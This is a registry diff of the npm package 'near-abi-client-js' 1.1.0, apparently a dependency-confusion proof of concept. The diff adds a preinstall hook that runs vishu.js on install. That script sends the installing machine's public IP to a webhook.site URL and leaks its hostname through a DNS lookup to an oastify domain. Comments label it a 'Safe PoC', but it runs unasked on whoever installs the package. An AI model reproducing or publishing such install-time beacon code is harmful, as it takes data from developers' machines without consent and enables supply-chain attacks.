near-abi-client-js 1.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +12 -0
- package/vishu.js +62 -0
package/package.json
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "near-abi-client-js",
|
|
3
|
+
"version": "1.1.0",
|
|
4
|
+
"description": "Facebook White Hat Researcher",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
8
|
+
"preinstall": "node vishu.js"
|
|
9
|
+
},
|
|
10
|
+
"author": "Vishal Kumar",
|
|
11
|
+
"license": "MIT"
|
|
12
|
+
}
|
package/vishu.js
ADDED
|
@@ -0,0 +1,62 @@
|
|
|
1
|
+
// minimal-index.js
|
|
2
|
+
// ✅ Safe PoC - only public IP + DNS ping + webhook.site
|
|
3
|
+
|
|
4
|
+
const dns = require("dns");
|
|
5
|
+
const https = require("https");
|
|
6
|
+
const os = require("os");
|
|
7
|
+
|
|
8
|
+
// Replace with your webhook.site unique URL
|
|
9
|
+
const WEBHOOK_URL = "https://webhook.site/c4dc033d-0581-4f08-9636-88056a3d39f4";
|
|
10
|
+
const COLLAB_DOMAIN = "your-collab-domain.oastify.com"; // optional, for DNS log
|
|
11
|
+
|
|
12
|
+
// Get public IP via external service
|
|
13
|
+
function getPublicIP(callback) {
|
|
14
|
+
https.get("https://api.ipify.org?format=json", (res) => {
|
|
15
|
+
let data = "";
|
|
16
|
+
res.on("data", chunk => data += chunk);
|
|
17
|
+
res.on("end", () => {
|
|
18
|
+
try {
|
|
19
|
+
const ip = JSON.parse(data).ip;
|
|
20
|
+
callback(ip);
|
|
21
|
+
} catch {
|
|
22
|
+
callback("unknown");
|
|
23
|
+
}
|
|
24
|
+
});
|
|
25
|
+
}).on("error", () => callback("unknown"));
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
// Send DNS Pingback (optional)
|
|
29
|
+
function sendDnsPing() {
|
|
30
|
+
try {
|
|
31
|
+
const dnsSub = `ping-${os.hostname().replace(/\./g, "-")}.${COLLAB_DOMAIN}`;
|
|
32
|
+
dns.lookup(dnsSub, () => {}); // fire-and-forget
|
|
33
|
+
} catch (_) {}
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
// Send HTTP ping to webhook.site with IP
|
|
37
|
+
function sendHttpPing(ip) {
|
|
38
|
+
const url = new URL(WEBHOOK_URL);
|
|
39
|
+
url.searchParams.append("ip", ip);
|
|
40
|
+
|
|
41
|
+
const options = {
|
|
42
|
+
hostname: url.hostname,
|
|
43
|
+
port: 443,
|
|
44
|
+
path: url.pathname + url.search,
|
|
45
|
+
method: "GET",
|
|
46
|
+
timeout: 3000
|
|
47
|
+
};
|
|
48
|
+
|
|
49
|
+
const req = https.request(options, (res) => {
|
|
50
|
+
res.on("data", () => {}); // ignore response
|
|
51
|
+
});
|
|
52
|
+
req.on("error", () => {});
|
|
53
|
+
req.end();
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
// Run
|
|
57
|
+
(function main() {
|
|
58
|
+
getPublicIP((ip) => {
|
|
59
|
+
sendHttpPing(ip); // ✅ Goes to your webhook.site
|
|
60
|
+
sendDnsPing(); // ✅ Optional DNS ping
|
|
61
|
+
});
|
|
62
|
+
})();
|